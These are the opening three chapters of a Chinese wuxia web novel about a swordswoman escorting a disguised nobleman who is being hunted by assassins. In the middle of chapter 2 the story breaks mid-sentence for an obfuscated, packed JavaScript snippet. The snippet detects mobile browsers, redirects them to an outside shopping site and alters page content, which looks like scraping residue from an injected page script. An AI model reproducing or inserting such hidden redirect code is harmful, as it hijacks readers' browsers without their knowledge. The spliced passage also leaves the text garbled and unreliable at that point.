《剑照孤光》 1. 初入江湖就救了个人 入夜,云水镇,青石巷。 风从巷口挤了进来,捎带着苔藓与泥土混合的湿腥气。 戌时未到,整个小镇已经空无一人,天幕沉甸甸地压了下来,有种山雨欲来的压迫感。 巷口那截老槐树的枝丫开始不安地晃动,耳边的风声也越来越急。 谢泠握紧剑柄,加快了脚步,只想在大雨前寻个落脚处。 初入江湖便被人算计,仅剩的五两银子,也被骗走,若是传扬出去,岂不是成为笑柄。 正想着一个身影蓦然出现在拐角处。 谢泠脚步一顿,右手剑已出鞘半分,尚未看清来人容貌,只听得一声锐响,一枚金镖从那人身后射了过来,正入那人后背,面前之人闷哼一声,身形摇摇晃晃,恰好倒在谢泠脚边。 谢泠眨眨眼,下山前她分明翻过老黄历,今日宜出行啊。 哪位大侠闯荡江湖头一天就是非缠身的?回头定要将那本黄历撕了! 与此同时一个黑衣人从一旁屋檐跳下,一柄匕首直取谢泠咽喉,想来是将她当做同伙了。 谢泠来不及辩解向后闪躲,长剑出鞘,手腕一转向前刺去。 那黑衣人也没料到,还会有帮手,此刻只有短匕傍身,有些余力不足。 谢泠寻得空隙,向后一跃拉开距离,扬声大喝:“且慢!” 黑衣人被她这声喝得身形顿住,正是这一顿,一道白光疾掠而下,爪子牢牢扒住黑衣人的面门,正是那少女所养的海东青。 谢泠的剑随之刺出,剑尖没入黑衣人右肩,手中匕首哐当落地。 那人捂着伤口足尖点地,翻身跃上屋檐,消失在夜色中。 谢泠看了眼黑衣人离去的方向,将剑收入鞘中,这身手也能做刺客的话,自己岂不是可以开宗立派了。 那只立了大功的海东青轻轻落到她肩头,抖了抖羽毛,她伸手刮了刮它头上的小绒毛: “好且慢,这次也多亏你了。” 说着她瞥了一眼地上不知死活的男子,此次下山最重要的事就是找师父,不宜多生是非, 再说万一又是个圈套怎么办,想到这儿,谢泠头也不回地向前走。 却被一只手死死拽住了脚踝,谢泠面色未改,用力向前想要将脚抽出来,谁知那人手上力道却更紧。 无奈之下,她扭过头,夜色中看不清那人的脸,只听得他说: “求姑娘救我。” 周洄此刻已是强撑,本就一路奔波,体力不支后背还中了镖,眼前这人虽不可信但也别无他法。 谢泠蹲下身认真问道:“那你有银子吗?” 周洄闭上眼,穷山恶水出刁民这句话又在他心中深了几分。 他松开拽住谢泠的手,还未来得及掏出怀中的钱袋,那少女便潇洒向前走去。 没走几步,一个沉甸甸的钱袋从身后砸了过来,落到谢泠脚边。 她连忙拾起在掌心掂了掂,顺手塞到怀中,小跑过去将周洄扶起: “公子伤得有些重,不如我先送你去医馆?” 离得近了些,谢泠才算看清了他的面容,竟生得如此好看,虽然脸色苍白,但五官却清隽出尘,鼻梁高挺,薄唇因失血而有些发白,更增添了几分清冷感。 周洄摇摇头:“医馆、客栈都去不得,劳烦姑娘,” 他的目光扫过谢泠腰间的长剑:“劳烦女侠送我到前面的破庙暂避。” 女侠?谢泠嘴角不自觉上扬,周洄捕捉到她的神情变化,垂下眼眸,没说话。 雨开始细细地落下,青石巷中少女缓缓将他背起,一步一步朝前走去。 出巷口又走了一会儿,一座檐角残破的庙宇出现在眼前。 谢泠将这位财神爷挪到破庙的干草堆上,拍了拍手上的灰尘: “你且在此等我,我去买些伤药回来。” 周洄抬头扫了一眼谢泠肩上的包袱,叹了一口气: “方才那钱袋里少说有五十两现银,眼下我正被仇家追杀,劳烦女侠救我。” 随即又添了一句:“我知道……女侠行走江湖定会备有金创药。” 说完还一脸幽怨地抬眼看着她。 谢泠此刻只觉得羞愧难当,连忙解开包袱,取出里面的白玉小瓶,递到他面前: “就这一瓶,我回头再买就是了。” 周洄看着少女伸过来的药瓶并没有接,想来自己命数已尽,上天才派这么一个人救了他又折磨他。 两个人四目相对,大眼瞪小眼。 “伤在后背我够不着。” 周洄只觉背后疼痛难忍,不愿多说话:“等事了,酬金随你开口。” 谢泠这才恍然,低声说着对不住,绕到他背后,伤口处被雨水渗透,血迹浸染了大半个衣袍,她没有犹豫,俯身替他扯开衣衫。 一个十字形的伤口显露在眼前。 虽然不大,但是很深,整只金镖都已没入后背,只剩尾部留在外头。 “这是燕子金镖?” 她眉头微皱,从包袱里取出酒囊,二说没说直接浇在伤口上,周洄疼得闷哼一声,额头冷汗直冒。 谢泠并未停下,手指捏住镖尾,手腕用力,将那带血的镖头直直拔了出来,周洄偏头看着身后正在小心翼翼处理伤口的少女,心绪逐渐变缓,眼皮也越发沉重。 谢泠将伤口处清理干净,撒上金创药,咬住裙摆撕开一条布料,将伤口缠住,动作干净利落。 待一切收拾妥当,她才发现人已经晕过去了。 ……难不成是自己下手太重? 谢泠扶着他使其侧躺在干草堆上,自己在一旁生起火,静静看着。 虽说简单处理了伤口,可那金镖上有毒,自己又没有解药,更何况他的伤口还被雨水打湿,不会直接晕死过去吧? 想到这儿,谢泠有些坐不住了,要是不救还好,既然救了,自然是要负责到底的。 她凑过去蹲在周洄身旁,他的呼吸声虽然薄弱但是还在。 谢泠握拳放在嘴边,有意无意地咬着拇指关节,闭了闭眼,转身从包袱里又拿出一颗红色丹药。 这是大师兄给她的保命丹,就是濒死也能给人拉回来一口气,可珍贵了。 谢泠手指捏着丹药,掰开他的嘴就塞了进去,随即转身坐到一边, 心中默念但行好事不问因果。 枯枝在火中噼啪作响,和庙外淅沥沥的雨声重叠到一起,谢泠坐在火旁,打量着眼前这个男人,明明灭灭的火光映出他俊俏的脸庞,他眉目清隽,薄唇微启,只是即便是在昏睡,那人仍眉头紧蹙。 破庙外,雨下了又停,停了又下。 周洄再睁开眼时,那女人抱着剑睡得正沉。 他稍微活动了肩膀,后背有些疼痛,却也不似想象中那般难以动弹。 他看向谢泠,少女一身天青色粗布短打,袖口衣领处有些泛白,怪不得如此贪财。 浑身上下,也就那把剑看着不寻常,想来也不是谁派来的刺客。 谢泠一个激灵醒了过来,见周洄睁着眼,朝他旁边挪了挪: “那金镖上有毒,金创药只能止伤,解毒还得找个大夫。” 周洄摇摇头:“不碍事,多谢女侠。” 随即自我介绍:“密云郡,周洄。” 谢泠就算江湖经验再少,也听得出这是个化名,不过她也懒得深究: “浅水镇,谢谢。” 周洄难得追问:“谢什么?” 谢泠只恨自己在山上没有多读点书,现在起个假名都漏洞百出。 她轻咳一声: “我就叫谢谢。” 周洄嘴角一抽,点了点头没再多问,半晌后又开口: “我见谢谢女侠身手不错,可否送我到附近的悬泉驿?” 悬泉驿距此地二十里,倒是谢泠去往京城的必经之地,只是带上他总归是个麻烦,更何况他还被人追杀。 “抵达后,自会奉上黄金五十两。” “成交!” 在山上有师父师兄时不觉得,如今下了山才知道衣食住行样样都要钱,单是喂她那贪嘴的肥鸟,每日就得五十文肉钱。 更别提之前还被那对狗男女骗走了仅有的五两银子! 周洄看着眼前这位谢女侠,不知道她在想些什么。 一会儿皱眉,一会儿又笑眯眯,什么心思都明晃晃地写在脸上。 这世上,竟真有这般喜怒皆形于色之人? 谢泠忽然想到什么,开口问:“不过你这毒……” 万一他半路毒发身亡,自己岂不是白忙活。 周洄笑了笑 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等到谢泠再回到破庙时,却发现有些不对劲,周洄不见了,周围也异常安静。 她按住腰间的剑柄。 “把印章交出来,否则我就杀了他。” 谢泠转过身,一个黑衣刺客正抓住周洄的胳膊,提剑抵在他颈间。 周洄一脸对不住又给你添麻烦的表情对着谢泠笑了笑。 “什么东西?我没拿。”谢泠实话实说。 周洄瞥了一眼身后的刺客淡淡开口: “我说了,那东西我不会带在身上的。” “少废话,不交出来我就杀了他。” 谢泠握住手中的飞镖:“那你杀吧,我真没有。” 周洄似是有些无奈:“谢女侠,说好护我周全呢?” “我尽力。” “有劳了。” 这一来一回给刺客惹急眼了,将剑往周洄脖子上又靠近一分: “你俩在这给老子唱双簧呢!把你背上的包袱扔过来!” 谢泠本打算包袱扔过去的时候,将手中飞镖射出,谁知这刺客聪明得很,又让她将包袱放在地上,踢过去。 刺客用剑尖挑开包袱,东西散落了一地,刚买的桂花糕也碎了。 “我的桂花糕!”谢泠惊呼上前。 “退后!”刺客拽着周洄往门口挪了挪。 周洄看着眼前的谢泠,方才她明明有机会将飞镖射出,为什么不动?在等什么? 谢泠目光扫过地上杂物,确实多了一枚小小的绿色印章。 那刺客也看到了。 谢泠见他已经到了门口连忙大喊: “且慢!” 刺客动作停了一下,几乎同时,一只海东青冲了进来,利爪直抓刺客眼睛。 谢泠连忙将飞镖射出,那刺客闷声倒退。 谢泠拉住周洄的手将他扯了过来,抬腿就是一脚,将刺客踹翻在地,近身上前对着脑袋补上一记肘击,对方当场晕了过去。 刺客脖颈处露出一个红眼黑虎刺青,谢泠心中一紧,这刺青,她在师父身上见到过。 谢泠收敛神色,起身问周洄有没有事,周洄看着眼前这个女人,她的身手似乎比自己预想得更高些: “谢女侠好身手,不知师承何处?” 师父交代过自己,出门在外不要随便报他的名号,谢泠没搭话,走到那刺客身旁蹲下,见周洄还站在原地,忍不住喊道: “过来搭把手啊!” 这人怎么这么没眼力劲儿,这么大个人就摊在门口,一会有人路过可如何解释? 二人将那刺客抬到破庙神像背后,谢泠拍拍手转身去收拾那散落一地的包袱。 周洄瞥了一眼地上的人,从袖口拿出一个小瓶,随意地撒在那人伤口处。 “走了。” 谢泠在门口叫他。 “来了。” 周洄转身时看了一眼地上那正在腐蚀的衣服和血肉,面色平静如常。 他走到谢泠身边,微微一笑:“走吧,这一路还需谢女侠多多照顾。” 2. 去给你撑腰啊 云水镇虽然不大,确是个交通枢纽。 来往客商络绎不绝,即便是清晨,官道上车马行人依旧来来往往,倒是个极佳的掩护。 即便如此周洄还是戴了个兜帽,将自己的脸遮得严严实实。 谢泠本想慢慢走,看看风景,自己这趟江湖之旅除了找师父还想见识见识大好河山。 可是财神爷发话了,必须在天黑之前赶到最近的追风驿。 谢泠只得脚步不停地向前赶路。 “谢女侠的鸟很威风。”周洄与她并肩,状似不经意地随口问道。 谢泠不免有些得意:“行走江湖,谁还没点保命手段。” 周洄有些意外,问她如何保命。 说到这个谢泠的眼睛都亮了起来,眉头轻挑: “这鸟是师父送我的,当时还让我起一个威风的名字,什么罡风呀,浩天呀,我一个都没选。” 谢泠说到这故意卖了个关子,停顿了一下,见周洄饶有兴趣的样子,心中更加得意: “我给他起名且慢!” “且慢?”周洄愣了一下,心中已明白个大半,不过还是问道:“怎么说?” “且慢平时都在半空,不与我一起。” 说着谢泠向前走了几步,轻巧地转过身,一边后退着往前走: “你想啊,若是我与那敌人狭路相逢,打的难舍难分之际,我大喝一声且慢!对方必定会停在原地,就是这片刻的停滞,我就能使出飞鸟凌空,一招制敌!” 周洄看着眼前的女子,说话时高高束起的马尾随着动作摇摇晃晃,像是铃铛一般,少女的声音在旁叮当作响。 谢泠说完等着周洄的夸奖,却发现对方只是静静地看着自己。 难不成这点招式在江湖上早已不新鲜? 她在原地站直,清了清嗓子: “这些本不足为外人道也,看在你我一路同行,才说与你听的,你可不能泄露出去。” 周洄眼中笑意更深,点了点头:“自然不会。” 走了有二三里地,路上行人少了许多。 路旁支着一个茶摊,谢泠眨眨眼看着周洄。 周洄笑了笑:“喝杯茶的功夫还是有的。” 谢泠连忙找桌子坐下,招呼小二上茶,那小二殷勤地很: “女侠,要用些什么?” 这声女侠让谢泠心中有些雀跃,随手从钱袋里摸出银子,感觉有些多又放回去一些,递给小二:“来两壶好茶!” 周洄只觉得眼前这人江湖经验太少,他环顾四周,旁边几桌虽然也坐着人,但衣服样式却极为相似,更别说一个个打量过来的目光,再看那小二过于殷勤的模样不由得笑了出来。 谢泠还以为他在笑自己狐假虎威,毕竟花的是周洄的银子,顿时坐直了身子。 又一想,这是她应得的,有什么好心虚的。 等茶期间,周洄起身去那几桌转了一圈,说是看看都有什么茶,然后摇摇头说山野乡村只得这些粗茶将就了。 谢泠撇撇嘴,不愿理他。 不一会儿,小二将茶端了上来,谢泠渴得厉害,正要大口喝,却被周洄按住了手腕。 她不由得皱眉:“做什么?” 周洄没有回应她,只是看向小二: “附近可有地方租借马匹?” 小二有些心虚地擦了擦额头: “有!有!前面路口往北走就有一个马驿。” 谢泠看着他,怎么个意思,让自己去牵两匹马回来?一口水都不让喝吗? 周洄看着她:“还是租两匹马来得快些。” 谢泠暗自骂了一句起身要走,又转头问他:“那你一个人在这儿……” “无妨,一时半会儿不会有人再来了,我就在这儿等你。” 谢泠快步向路口跑去,跑了一半又回头看了一眼。 正瞧见周洄端起自己的茶杯一口饮尽,忍不住跺脚喊道: “别给我喝完了!” 不让她喝,自己倒是喝得痛快! 见谢泠消失在路口,他看向茶铺那几个人缓缓开口: “你们的蒙汗药也太差了点。” 那几人脸色一变,准备起身,却腿脚发软接连跪倒在地,小二躲在柜台后不敢动弹。 周洄站起身微微一笑:“不用怕,只是软骨粉,死不人的。” 那几个大汉瘫在地上,话都说不出来。 周洄走过去在他们脑后轻点几下,便都晕了过去,这才转头看向小二: “把人抬到后头去,收拾干净,报官就行。” 小二颤颤巍巍地照做,将他们几人叠麻袋似的扔到茶铺后。 谢泠牵了两匹没比她高多少的小马往回走。 真不是她抠门,那一匹好马居然要五两银子,就是皇帝老子来了也得说一句奸商! 走到茶棚时发现人都不见了,只剩小二在柜台处拼命擦桌子。 “刚才那些客人呢?” 谢泠环顾四周,周洄看了一眼小二。 小二连忙回答:“客…客官们都喝完上路了。” 谢泠接过周洄倒的茶猛喝一口:“那咱们也快上路吧!” 她将缰绳递给周洄有些心虚地说:“马驿只剩这两匹小的了……” 其实驴更便宜,所以她还是有些良心的。 周洄看了一眼那瘦马,接过绳子: “不打紧,马匹费用到时候一块与谢姑娘结算。” 谢泠眼睛都亮了,早说自己租个贵的了,连忙侧身让路,向前俯身伸出手: “公子!请!” 路过马驿的时候,周洄还是去换了一匹高大的马,毕竟那小马,他骑上去确实有点欺负牲口。 “小谢女侠需要换吗?” 自打茶铺出来,周洄便开始这么叫她,说每次听到别人叫女侠,她的眉梢眼角都会舒展开来,加个小字又显得更亲切些。 财神爷说啥就是啥呗。 谢泠笑着摇摇头,这她哪儿敢啊,先前可是亲口跟人家说没有好马了。 “不必,我这个挺好的。” 好个锤子,一路上他的马是遥遥领先,谢泠在后面马鞭快挥断了,还屁颠屁颠跟不上。 谢泠哭丧个脸:“我的马跑的太慢了,追不上你。” 周洄忍住笑意,扭过头又面露难色: “我们必须晚上赶到下个驿站,否则夜路太危险。” 谢泠眨眨眼:“不如我们共乘一匹?” 他当即摇摇头:“即使小谢女侠不拘小节,终究男女有别,这样不妥。” ……行。 谢泠抿住嘴,有种被嫌弃的感觉,气得一句话不想多说。 周洄看着身后气鼓鼓的少女,嘴角上扬,有意无意地松了松缰绳。 马蹄声渐缓,周洄开始有一搭没一搭地同谢泠闲聊,什么近来京中有变动,东宫太子被废,成了个闲散王爷。 谢泠说不清楚不知道。 又问她是学的什么剑法,哪门哪派? 谢泠说自学成才。 周洄忍不住侧头看她,一件小事,就气成这样? 傍晚时分,两人赶到了追风驿。 周洄松了一口气,这追风驿隶属清水郡,他那二弟手再长也伸不到这里,进入驿站他随手摘掉了头上的兜帽。 谢泠看着他,头发有些凌乱,散落下来,像是那画本里的仙人一般。 周洄看了她一眼:“小谢女侠还在生气吗?” 谢泠连忙摇头:“没有啊。” 他将手中的兜帽往谢泠面前一递,谢泠连忙接过,又暗骂自己怎么这么没骨气。 周洄目光扫过驿站大堂,人不是很多: “待会儿我让人给你换匹好马。” 见她有些犹豫,周洄又添了一句:“我请你的,不从酬劳里扣。” 谢泠面露喜色又很快站直:“我可不是那种贪财之人。” 周洄低低笑出声,连连点头:“是我想送你而已。” 谢泠看着他,总觉得他的身份肯定不一般,举止投足之间那种分寸感,寻常江湖人可学不来。 师父说过,江湖上的人大抵分三种。 头一种是普通人,脸上明晃晃地写着莫挨老子,不想与陌生人有任何纠缠。 第二种人是有钱人,他们天生有种优越感,看人先打量你的衣着首饰,再决定要给你几分脸色。 “最要当心的是第三种人,”师父放下茶碗,看着谢泠: “这种人有钱,有权,偏偏还最客气,说话温声细语,见谁都是三分笑,每个人都是他能利用的棋子,你浑身上下有多少用处,如何能够拿捏你,他看一眼就门儿清。” “那遇到第三种人该怎么办?” “当然要远远躲开啊!”师父敲敲桌子: “就你那点道行,被人卖了还帮人家数钱呢!” 谢泠摇摇头:“我不要。” 师父抬手给了谢泠一记板栗:“你就是贪财!” 谢泠委屈地捂住头:“因为我觉得师父就是第三种人,可师父是好人啊。” 之后师父的表情谢泠记不清了,只记得那日他破天荒下了山,拎着她去酒肆喝了最贵的桂花酿。 谢泠觉得,周洄也是第三种人,至于是不是好人,她还得再看看。 回到房间,周洄点燃熏香,解开衣襟,那飞镖的毒虽说对自己无用,但皮肉之苦确是实打实的,方才在那茶铺,若不是事先撒了软骨粉还不知道如何对付。 那女人看着身手不错,却有些不靠谱,若不是为了掩饰行踪,在破庙时就应该杀了她,想到这儿,周洄眼前忽然又浮现少女倒退着步子,眉飞色舞地讲她那飞鸟凌 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17046419|194736||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 空的绝招时的模样。 ……罢了,留着她,也挺有趣的。 更何况,这种人最好拿捏,爱财,又经不住几句好话。 “周洄,你饿不饿?” 门外响起谢泠的声音,周洄淡淡回应: “我不吃,你自己下去吧,钱已经付过了。” 话没说完,门外就没了声音。 谢泠下楼一个人点了些小菜,要了一壶清酒,一个人吃饭还自在些。 这个时候楼下的人多了起来,谢泠坐在一个角落,目光扫到不远处一对笑着前俯后仰的男女,眼睛一眯,那不正是那对骗了她五两银子的狗男女吗? 那男的搂着女子,正给她喂菜,那女的笑得花枝招展哪有半分当时病弱要死的模样! 谢泠起身走过去,压着火: “把我的银子还来,你说你娘子病重,我才给的。” 那男子不耐烦地打量了谢泠一下,见她只有一人,更加不放在心上: “你谁啊?我不认识你。” 怀中的女子也嗤笑:“不会是中意我夫君吧,大庭广众之下就要抢人?” 谢泠一股气直冲上头顶,手比脑子快,腰间的剑带着鞘一挥,面前的木桌直接裂成两半,饭菜都撒在了地上。 周围突然安静下来,所有人都看向这个突然出手的少女。 小二连忙上来叫苦,谢泠脸一热,故作镇定地说: “这些我会赔的,但是你们今天必须把银子还给我!” 那男子脸色铁青,猛地站起:“好个当众行凶的恶贼!我这就去报官!” 报官?谢泠心头一紧,周洄还在楼上,他连医馆都不敢去,如果报官了岂不是闹大了!想到这儿,谢泠连忙拉住他:“你报官我也要报!说你到处行骗!” 那男子一脸无所谓的样子: “你有证据吗?倒是你无故找事还大闹驿站,大家可都是看在眼里的。” 谢泠暗骂自己太过冲动,那五两银子确实是看他说得可怜自愿给他的,这如今上哪儿说理去,要是只自己还好,她看了一眼楼上,按捺下情绪: “那你说要怎么样你才肯罢休。” 这一说那人气焰更加嚣张,觉得那谢泠必定是害怕闹大:“你给我赔礼道歉。” 谢泠攥紧手心,缓缓向他低头。 等她送完周洄,必定回来打他个鼻青脸肿。 “对不住,是我冲动了。” 他搂着那女子开始笑:“大家看到了,是这人先找事的,” 他看了下谢泠腰间的佩剑: “我看你腰间这把剑不错,不如送了小爷我做赔礼?” 说着就要伸过来,手还未碰到剑柄,被谢泠单手抓住手腕,轻轻一掰,只听得骨头作响,他也开始大叫。 谢泠眼神一冷,抬起头:“我如今有要事在身,不愿得罪人,若是他日再遇见,我绝对不会让你如此放肆。” 那男子气得破口大骂,推了女子一把: “你去报官!我在这儿守着!” “报就报!谁怕你啊!”谢泠生气地喊完转身就往楼上跑。 有这熏香加持,调息过后周洄感觉身体轻快不少,刚想下楼吃些东西,门被一把推开,谢泠风似地冲了进来,周洄此刻只穿着白色里衣,露出半个胸膛,面色有些不悦:“出什么事了?” 谢泠上前,将钱袋扔到床上: “钱都还你,你快跑吧,是我对不住你。” 周洄瞥了她一眼,她还能把驿站大堂拆了不成? 他不紧不慢地将里衣襟口拢好,系上系带:“先说事。” 谢泠此时才注意到他方才衣衫不整的模样,此刻也顾不上其他,连珠炮似地把事情交代了一下。 见周洄没吭声,心想肯定是怪自己惹事了。 “我真不是故意的,他说要报官,我也跟他赔礼道歉了,哪怕把你送我的银子都给他也没关系,可是他想要我的剑。” 谢泠摸了下剑柄:“这把剑是我很重要的东西,就是死我也不会给的。” 周洄看着她有些委屈的样子,竟有些想揉揉她头顶的冲动,又觉得自己方才说她不靠谱的话有些断言了。 “能让小谢女侠连银子都不要了,也要护着我,倒是让我有些意外。” 谢泠眨眨眼,他刚才是在想这些吗? “先别说这些了,我一会儿来应付他们,你快走吧。” “现在楼下只有那个男人吗?” 谢泠点点头:“这件事我没证据也不占理,等会儿官府的人来给他们撑腰,我怕护不住你。” 周洄淡淡嗯了一声,继续将衣带系好,往门外走。 谢泠跟了过去:“你做什么?” 走正门岂不是找死吗? 周洄嘴角弯了弯,将手放在她的头顶:“去给你撑腰啊。” 3. 一别江湖远 楼下小二正在收拾桌子,那惹事的男子坐在一旁翘着二郎腿,看见谢泠下来,还带着个男人,立马站起来走上前: “怎么,叫你男人下来就能吓住我了!” 周洄瞥了他一眼,侧头问谢泠:“是他吗?” 谢泠点点头,小声说道:“趁官府还没来人,要不跟他私了?” 那男人耳尖得很,一听谢泠说这话想必她男人也没啥本事: “私了? 你想得美!方才你那一剑,吓得我旧疾突发,没一百两银子这事没完!” 谢泠被这无赖气得上前一步,按住剑柄,单手将剑推出半寸。 那男人后退一步:“做什么?还想动手?” 周洄揉了揉眉心,不明白跟这种人有什么好争执的: “我当是多大阵仗?这种货色直接打死就好了,何必多费口舌。” 谢泠咽了咽口水,能不能别用这么弱的语气说这么吓人的话。 周洄一脚踢开脚边的碎茶壶,在桌边坐下,自顾自倒了一杯茶,才看向那男人: “那就等官府来吧。” 他举起茶杯:“你运气不错,林县令此刻应该正在附近巡视。” 外面传来马蹄与脚步声,先前那女子引着一位穿着官服的男子快步走入,身后跟着四五名差役。 男子顿时来了精神,高声叫道: “青天大老爷啊!就是这女子当众行凶,还和她男人一起威胁小人!” 那林县令看着年纪四十多,不像是个坏人。 他大致扫了下地上的狼藉: “本官在此巡视,竟然还有人闹事,是何人滋事啊?” 谢泠连忙挡在周洄身前,还未开口,肩头被人轻轻一推。 那县令抬眼看了过来,谢泠往旁边侧过身,正好将身后的周洄,完完整整地露了出来。 驿站灯火通明,周洄平静地与林县令目光相接。 此时那男人还在一旁无中生有,添油加醋地告状。 谢泠握住剑柄,想着要是闹起来大不了打一架好了,却见林县令转身给了那喋喋不休的男人一记耳光! “混账!你说他打人也就罢了,他惦记你那五两银子?我看你是在诬告良善,扰乱治安!” 那男人被打懵了,捂着脸:“大人,我......” 谢泠比那男人更懵,这林县令竟如此明察秋毫? 周洄起身绕过桌子在谢泠身侧站定:“听说这二人,在附近多次行骗,林大人可要好好查一查。” “原来是你们,本官手中早有数桩未结的卷宗,都是以落难治病为由诈骗钱财,今日你们倒是自己送上门了!” 林县令对着身后:“来人,将他二人先押回衙门!” 差役一拥而上,那男人直喊冤,林县令撇了一眼: “有无冤情,一查便知,就算真有也去衙门里喊!” 说罢挥手就要将人带走。 “等等。”周洄走到男人面前,眉眼温和: “你好像还欠着我们小谢女侠五两银子?” 他一脸泄气地从袖中掏出银子,周洄接过,在手心掂了掂,又含笑问道:“道歉呢?” 男人咬着牙,朝谢泠草草作揖:“对不住。” 周洄看也没看手微微一抬,转过身。 那男子膝盖忽然一软,扑腾跪在了地上, 旁人好像都未发觉,谢泠却看见,周洄抬手时,袖间射出一枚银针。 周洄听到声音又转回来,带着惊讶,挑了挑眉: “行这么大的礼?不必,不必,我们小谢女侠心胸宽广,” 说着看向谢泠:“自然不会多计较。” 谢泠与他目光相接,忽然有些脸热,挠了挠头没说话。 周洄抬眼环视了一圈大堂看热闹的众人,抬高声音: “今日打扰诸位清静,实在过意不去,今夜各位的茶酒饭钱,” 他目光落在跪在地上的那个男人,眼神变冷: “就由这位公子一并结了吧。” 林县令也没说什么,挥手命人散去,将那对男女押了下去。 待要转身时,周洄却出声唤住了他。 谢泠在一旁悄悄打量,心里越发猜不透这人,明明来头不小,偏又处处躲着追杀。 “林县令应当是玄景二十三年进士,如今还是个小县县令,属实是有些可惜了。” 周洄知道,这种仕途不顺,不被重用之人,往往最容易拉拢,也最忠诚。 林县令没有一丝尴尬,平静地回应: “为官者,无一不盼自己前程锦绣,可那不是我的愿望。” 周洄颔首:“风起于青萍之末,浪成于微澜之间。大人心中有尺,脚下有路,来日必定会走得更远。” 那林县令竟有些动容,瞥了谢泠一眼,轻声说道: “如今世道不太平,望公子珍重。” 等到一切结束后,已经是深夜,谢泠站在他门口不愿动弹。 周洄随手推开门:“有什么事进来说。” 说完他径直走了进去,点燃了桌上的熏香,整个屋子开始弥漫着一股药味。 “说吧,想问什么?” 谢泠快步跟上去,将房门关上: “你究竟是什么人?莫不是那林县令的远方亲戚?”她自然知道不是,只是想套点话而已。 周洄双手交叉放于脑后靠在床榻上,不做声,闭上眼像是养神。 谢泠见状又换了个问题:“破庙里要杀你的那人……是什么来头?我瞧见那人脖颈,有个黑虎刺青。” 周洄倏然睁开眼。 眼中有些冷意,斜眼看着她:“你见过那个刺青?” 谢泠下意识移开视线,摇摇头: 含糊道:“没见过,就是瞧着挺唬人的,随口一问。” 见他又闭上眼不说话,谢泠有些泄气,悄悄吃着桌上的橘子,感觉比她房间的甜点。 “喜欢吃便都拿去,”周洄闭着眼语气有些慵懒,“出去记得带上门。” 看他那个样子,谢泠知道再问也是白费功夫,抓了几个橘子揣进怀里,溜回自己房中。 第二天天还没亮,谢泠就被周洄叫醒,说此地不宜久留,须即刻动身。 难道是昨晚的事被他仇家知道了? 谢泠不敢耽搁,拿起行李就往门口走,驿站门口已有周洄备好的两匹快马。 此时远处天际忽然升起一道焰火,在破晓的天空炸开。 周洄握了握拳,龙虎卫竟来得这般快…… 他看向一旁谢泠,正费力将行李搭上马背。 他闭了闭眼,将一些不该有的情绪压下,走过去: “接下来,我们需要兵分两路。” “怎么了?” “两人同行,太显眼。” 他将缰绳递到谢泠手中, “此处向南五里外有座风波亭,我们在那儿会合。” 谢泠皱眉:“那万一刺客半路截杀你,怎么办?” “不必担心,我能应付。” 说着周洄抬手解下自己的兜帽,套在了谢泠头上。 又将自己腰间佩戴的玉佩取了下来,系在谢泠腰间。 谢泠瞬间明白了,张张嘴想说什么,还是咽下去了。 她笑了笑,点点头。 转身上马时,手腕却被他自后握住。 周洄看着眼前这个女人,有些不忍却也只是有些而已: “有一事,我一直没有如实相告。” “周是我母亲的姓,洄是我的字,我本名叫裴景和。” 谢泠回过头,迎上他的目光: “我也不叫谢谢,我叫谢泠,孤光剑谢泠。” 周洄藏在袖中的左手死死攥紧,最终只是点了点头: “我记住了。” 谢泠不再多言,翻身上马,扬鞭前最后冲他挥了挥手,便策马向南驰去。 “每个人都是他能利用的棋子,你浑身上下有多少用处,如何能够拿捏你,他看一眼就门儿清。” 谢泠看了一眼腰间的玉佩,像是对风说话:“我知道的,师父。” 从他将兜帽戴在她头上那一刻起,她就知道了。 果然没跑多久,身后便追来三四个刺客,还好周洄选的这匹马还算快,谢泠俯身只管朝着前方那片树林疾驰。 进入林中,她将马拴到树下,借力跃上旁边不远处的粗树枝上,抽剑屏息观察。 那几人也很快进入这树林,与上回刺客不同,这几个人脚步轻盈还很稳。 他们很快看到了马匹,开始四下寻找。 第一个靠近树下的黑衣人被谢泠一剑自头顶刺穿, 第二个闻声转身的瞬间,谢泠已经迅速跳下直接一脚踹翻在地,随即一剑封喉。 此时第三个人已经挥刀上来,谢泠连忙举剑抵挡,却在后撤时被树根绊住。 这兜帽实在碍事,只不过为了更好掩护周洄,她自始至终都护着兜帽出剑。 眼前就剩这一个人了,谢泠当即手腕用力将剑掷了出去,剑直接插入他的胸膛。 趁他退后的空隙,谢泠快步飞身上树,从树上直接跳下,借助下坠的力量将他压在身下,将剑拔出,又补了一剑。 血直接溅到兜帽面纱上,一股血腥味传来。 谢泠环顾四周确认无人后,随手摘下兜帽,扔在地上:“碍事!” 这三个人明显要比破庙那人武功更高,若不是借助地形优势,估计得苦战一会儿。 半空中突然传来且慢的叫声。 谢泠连忙回头,暗处竟还有一个刺客! 转身时,飞镖已到身前,谢泠躲闪不及,飞镖直接没入肩头,只剩燕尾还露在外面。 谢泠吃痛地捂住肩头,又是燕子金镖,这周洄到底是惹了什么人了,这一枚燕子金镖少说十两银子,当饭吃呢! 那人在看清谢泠面容后,转身便撤。 谢泠心下一沉,长叹一口气,来不及拔出金镖,已经在林间蹬树穿梭,追了上去。 那人无心恋战只顾撤退,随手又是几枚飞镖,被谢泠挥剑斩落。 “且慢!” 黑衣人虽然未停,身形也是一顿。 此时且慢从林间直冲而下,冲着他的眼睛就是一爪子, 谢泠连忙飞身上前,一剑穿胸。 且慢落到谢泠肩头,嘴里叼着几株药草,谢泠笑着拍拍它的脑袋: “好且慢,如今我也有钱了,到镇上必须给你安排一顿大肉。” 说着,坐下调整内息,用内力将飞镖逼了出去,又将药草在嘴里嚼碎,覆了上去。 还好,这只金镖不同于周洄那个,上面没毒,只是伤口很深,左肩抬起来都费劲。 谢泠用牙咬着裙摆单手撕开一块布条,紧紧缠绕了一圈,站起身,试着右手挥了挥剑。 “无妨。”谢泠将剑入鞘对自己说道: “便是道祖佛陀来了我也能刺上一剑。” 